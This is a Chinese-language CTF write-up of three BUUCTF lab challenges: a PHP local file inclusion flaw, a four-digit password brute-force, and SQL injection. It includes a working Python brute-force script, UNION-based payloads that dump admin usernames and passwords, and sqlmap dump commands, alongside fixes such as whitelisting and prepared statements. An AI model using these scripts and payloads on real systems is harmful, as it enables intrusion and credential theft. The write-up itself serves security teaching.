1.BUU LFI COURSE 1
打开靶机后我们可以看到源代码:
代码分析:
这段代码看起来是一个用于展示自身源码并动态包含文件的PHP脚本。以下是我的个人分析:
highlight_file(__FILE__);
这个函数会输出当前文件的源代码,并且以带有语法高亮的格式显示。__FILE__ 是一个魔术常量,表示当前脚本的完整路径。这段代码首先输出了自身的代码。
if(isset($_GET['file'])) {
这里使用 isset() 检查 URL 参数 file 是否存在。如果存在,则执行下面的代码。
$str = $_GET['file'];
将 $_GET['file'] 的值存储在变量 $str 中。
include $_GET['file'];
这行代码使用 include 语句包含并执行通过 GET 请求参数 file 传递的文件。这意味着,用户可以通过 URL 参数传入文件路径,PHP 会尝试包含该文件并执行其中的代码。
潜在的安全问题:
文件包含漏洞(File Inclusion Vulnerability):
该代码直接使用了用户提供的 file 参数,没有进行任何验证或过滤。这使得攻击者能够通过传递任意文件路径,包含服务器上的文件,甚至通过远程文件包含(RFI)来执行恶意代码,前提是 PHP 配置允许远程包含。
常见的攻击方式是通过传递像 …/…/…/…/etc/passwd 这样的路径来访问系统文件(本地文件包含,LFI)。如果配置允许远程文件包含,攻击者还可以包含恶意的远程脚本。
分析完之后思路就很简单了,我们可以直接在URL中直接查询flag文件:
能攻能守:
我个人的修复建议是限制包含的文件目录,确保只能包含合法的文件,防止包含系统文件,例如:
$allowed_files = ['whitelist_file.php', 'another_file.php'];
if (isset($_GET['file']) && in_array($_GET['file'], $allowed_files)) {
include $_GET['file'];
} else {
echo 'Invalid file!';
}
2.BUU BRUTE 1
我们先来分析一下源代码,:
定义一个表单,表单提交时使用 GET 方法,将表单中的数据作为URL参数发送到服务器。使用GET方法意味着输入的内容会出现在URL中,这可能不适合处理敏感信息(如密码)。通常,登录表单应该使用 POST 方法以保护用户信息。
我们可以写一段python代码来实现撞库攻击:
import time
import requests
# 目标URL
url="http://0a6ea7ab-7e4b-4214-aaf3-8478587a4b55.node5.buuoj.cn:81/?username=admin&password="
# 遍历密码范围:0000到9999
for i in range(0000, 9999):
# 构造请求URL
full_url = url + str(i)
# 发送GET请求
res = requests.get(full_url)
print(f"Trying password: {i} - Status Code: {res.status_code}")
# 打印服务器返回的完整响应内容
print(f"Response Text: {res.text}")
# 检查是否遇到 429 Too Many Requests 错误
if res.status_code == 429:
retry_after = res.headers.get('Retry-After', 0.5) # 如果有 Retry-After,使用它;否则默认等待0.5秒
print(f"429 Too Many Requests: Retrying after {retry_after} seconds")
time.sleep(float(retry_after))
continue # 继续当前的密码尝试
# 检查是否为正确的响应(假设正确响应是非默认错误消息)
if res.text != "密码错误,为四位数字。" and res.text.strip(): # 增加检查非空响应
print(f"Success! The correct response: {res.text}")
break
能攻能守:
我个人的修复建议是使用 POST 方法代替 GET 以保护用户数据:
3.BUU SQL COURSE 1
方法一:
题目中带有SQL,所以我第一反应是用万能密码2’or’1,但是发现没用。分析源代码,也没发现太多有用的东西。在逛其他界面的时候,我发现了有php请求,所以这里可以猜测这里会有sql注入。
可以注入的URL:http://b93e2b53-1fee-4a24-bd1b-16e3abac2699.node5.buuoj.cn:81/backend/content_detail.php?id=1
我们可以通过order by 确定数据的条数:
Order by 1:
Order by 2:
Order by 3:
在order by 3的时候,就没有数据回显了。那么我们确认,数据为两列。
接下来就是爆库,爆表,爆字段,爆密码的流程了。
爆库:
库:information_schema,performance_schema,ctftraining,mysql,test,news
?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata
在 PHP 的 SQL 注入场景中,?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata 这条语句用于通过 SQL 注入技术窃取数据库信息,尤其是数据库名称。
1. ?id=-1
这一部分假设是在一个 PHP 应用中,URL 中的 id 参数传递给后端的 SQL 查询。例如,原始的 SQL 查询可能类似于:
SELECT * FROM table WHERE id = ?
攻击者在 id 参数中注入 -1,是为了确保 id 的值不匹配数据库中的任何实际记录,导致后面的 UNION 查询成为执行的重点。
2. UNION SELECT
UNION 是 SQL 中的关键字,用于将两个或多个 SELECT 查询的结果合并在一起。攻击者利用 UNION 技术注入一个新的 SELECT 查询,从而获取更多数据。
UNION SELECT 的关键是注入的查询结构必须与原始查询的列数和数据类型匹配。如果原始查询是 SELECT column1, column2 FROM table,那么攻击者也需要在 UNION 查询中提供相应数量的列(即两个)并保证类型兼容。
3. 1, group_concat(schema_name)
这是攻击者构造的 UNION SELECT 查询。它的目的是通过查询数据库的元数据表来获取数据库相关信息:
1: 这是第一个列,可能是为了满足查询的列数要求,提供一个无关的占位符值。
group_concat(schema_name): 这是攻击者真正感兴趣的数据。schema_name 是数据库名称的字段,而 group_concat 是一个 SQL 函数,用于将多个结果组合成一个字符串。该函数将数据库中的所有名称连接在一起并返回,通常用逗号分隔。
4. from information_schema.schemata
information_schema.schemata 是 SQL 标准中的系统表,存储着数据库的元数据信息。具体来说,schemata 表包含了数据库中的所有数据库名称。通过查询 information_schema.schemata,攻击者可以获取当前服务器上所有的数据库名称。
完整分析
整个注入的语句 ?id=-1 UNION SELECT 1, group_concat(schema_name) from information_schema.schemata 的作用是通过 UNION 合并两个查询的结果:
第一个查询是原始的根据 id 查找数据的查询,但由于 id=-1,这个查询不会返回任何有用结果。
第二个查询是注入的 UNION SELECT,它试图从 information_schema.schemata 系统表中获取所有数据库的名称,并通过 group_concat() 函数将这些名称作为字符串返回。
例如,如果成功执行,攻击者可能会在页面上看到所有数据库的名称,如:
information_schema, database1, database2, etc.
爆表:
?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=“news”
爆字段:
?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=“admin”
爆密码:
?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin
在 PHP 的 SQL 注入攻击中,?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin 这句话的目的是通过 SQL 注入技术窃取用户的用户名和密码信息。下面是我个人对这条语句的分析:
1. ?id=-1:
id 参数通常是在 URL 中传递的查询参数,后端将该参数用于构造 SQL 查询。
例如,假设后端执行的 SQL 查询为:
sql
Copy code
SELECT * FROM users WHERE id = ?
攻击者通过注入 -1,一般是为了让原始的查询不返回任何有效的数据。id=-1 的结果通常为空。
2. UNION SELECT:
UNION 是 SQL 中的关键字,允许将两个或多个 SELECT 查询的结果合并在一起。攻击者利用 UNION SELECT 技术将他们的查询注入进来。
在注入的场景中,攻击者会通过 UNION 合并他们自己的查询结果,通常是从另一个表中窃取敏感信息。
3. 1, concat(username,0x3a,password):
1:这是 UNION SELECT 中的第一个占位符。由于原始查询可能是多列选择的,攻击者需要确保列数匹配,因此这里填入一个无关的数值(1)来符合查询的列数要求。
concat(username, 0x3a, password):
concat 是一个 SQL 函数,用来将多个字符串连接在一起。
username 和 password:这是从表中选择的两个字段,分别表示用户名和密码。
0x3a:这是一个十六进制值,表示 ASCII 码中的冒号 (:)。也就是说,concat(username, 0x3a, password) 将会把用户名和密码用冒号连接成一个字符串,如 admin:password123。
4. from admin:
这一部分表明攻击者要从名为 admin 的表中提取数据。admin 表通常包含管理员或用户的相关信息,比如用户名和密码。
方法二:sqlmap
在Kali中使用sqlmap:
sqlmap -u “http://b2296173-e886-4210-b158-fe0ca2d542ab.node5.buuoj.cn:81/backend/content_detail.php?id=1” -random-agent
通过上面的命令,可以大概知道URL中有哪些可以利用的信息。
对于SQL注入,一般来说,流程化的东西就是爆库,爆表,爆字段,爆密码
sqlmap -u “http://b2296173-e886-4210-b158-fe0ca2d542ab.node5.buuoj.cn:81/backend/content_detail.php?id=1” -random-agent -D news --tables
在爆库后我们可以看到:
感觉news和test表里面会有我们需要的东西。
继续查看admin表里的内容:
sqlmap -u “http://b2296173-e886-4210-b158-fe0ca2d542ab.node5.buuoj.cn:81/backend/content_detail.php?id=1” -random-agent -T admin --columns
dump一下admin表中的值:
sqlmap -u “http://b2296173-e886-4210-b158-fe0ca2d542ab.node5.buuoj.cn:81/backend/content_detail.php?id=1” -random-agent -T admin -C id,password,username --dump
这样就可以获得admin的密码了。返回到登录界面,登录后就可以获得flag了。
能攻能守:
由于这是一个典型的 SQL 注入攻击,防范此类攻击的关键措施包括:
- 使用准备好的语句 (Prepared Statements):利用参数化查询,避免将用户输入直接插入到 SQL 查询中。
- 验证和清理用户输入:对所有传入的数据进行验证,确保输入数据符合预期。
- 限制数据库用户权限:确保数据库用户只能访问必要的表和数据,限制对敏感表如 admin 的读取权限。